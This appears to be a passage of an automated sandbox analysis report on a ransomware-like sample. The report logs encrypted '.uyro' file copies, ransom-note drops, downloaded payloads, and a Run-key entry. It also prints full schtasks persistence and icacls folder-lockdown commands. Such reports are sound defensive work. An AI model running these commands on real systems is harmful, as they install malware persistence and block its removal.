Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ne-NP\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\cy-GB\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hy\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ti\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\uk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\CR_4BAC1.tmp\setup.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bs-Latn-BA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en-US\msipc.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SmiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ms\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nn-NO\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ca-Es-VALENCIA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveUpdaterService.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ka\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gd\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lt\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Application Data\Application Data\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pa\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mi-NZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ru\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ImagingProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\am-ET\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\OSProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-CN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\az-Latn-AZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tk-TM\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileSyncConfig.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\TransmogProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\he\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nb-NO\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AssocProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ky\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\km-KH\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mt-MT\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build2[1].exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ro\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveStandaloneUpdater.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\tmpCDDA.tmp.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ml-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ja\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ta\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismProv.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kok\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\be\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui.uyro (copy)
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ImagingProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveSetup.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\is\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ca\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nso-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tg\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mn\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\tmpCDDA.tmp
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lb-LU\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileSyncHelper.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SetupPlatformProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileCoAuth.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\xh-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fil-PH\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\it\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tt\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\LogProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tn-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\th\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\rw\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\CR_4BAC1.tmp\setup.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ga-IE\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\el\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismProv.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileSyncConfig.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ig-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\or-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zu-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\wo\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\as-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\da\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AssocProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ar\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ku-Arab\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ur\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\UnattendProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FfuProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ko\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\uz-Latn-UZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\GenericProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bn-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-TW\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveUpdaterService.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\es\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FfuProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveSetup.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bg\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ug\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\et\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDrive.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pa-Arab-PK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\prs-AF\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lv\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\af\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\cs\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en-GB\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fa\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\yo-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Cyrl-RS\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\GenericProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\si-LK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\WimProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ha-Latn-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CompatProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Cyrl-BA\FileSync.LocalizedResources.dll.mui

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\_readme.txt			Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\_readme.txt			Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe TID: 2852	Thread sleep time: -700000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4684	Thread sleep count: 346 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4684	Thread sleep time: -77850s >= -30000s
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 348	Thread sleep count: 593 > 30

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Thread delayed: delay time: 700000

Source: C:\Windows\System32\wbem\WMIADAP.exe

Window / User API: threadDelayed 593

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sd-Arab-PK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\VhdProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\LogProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\MsiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pt-BR\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\eu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sv\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismCore.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gl\FileSync.LocalizedResources.dll.mui
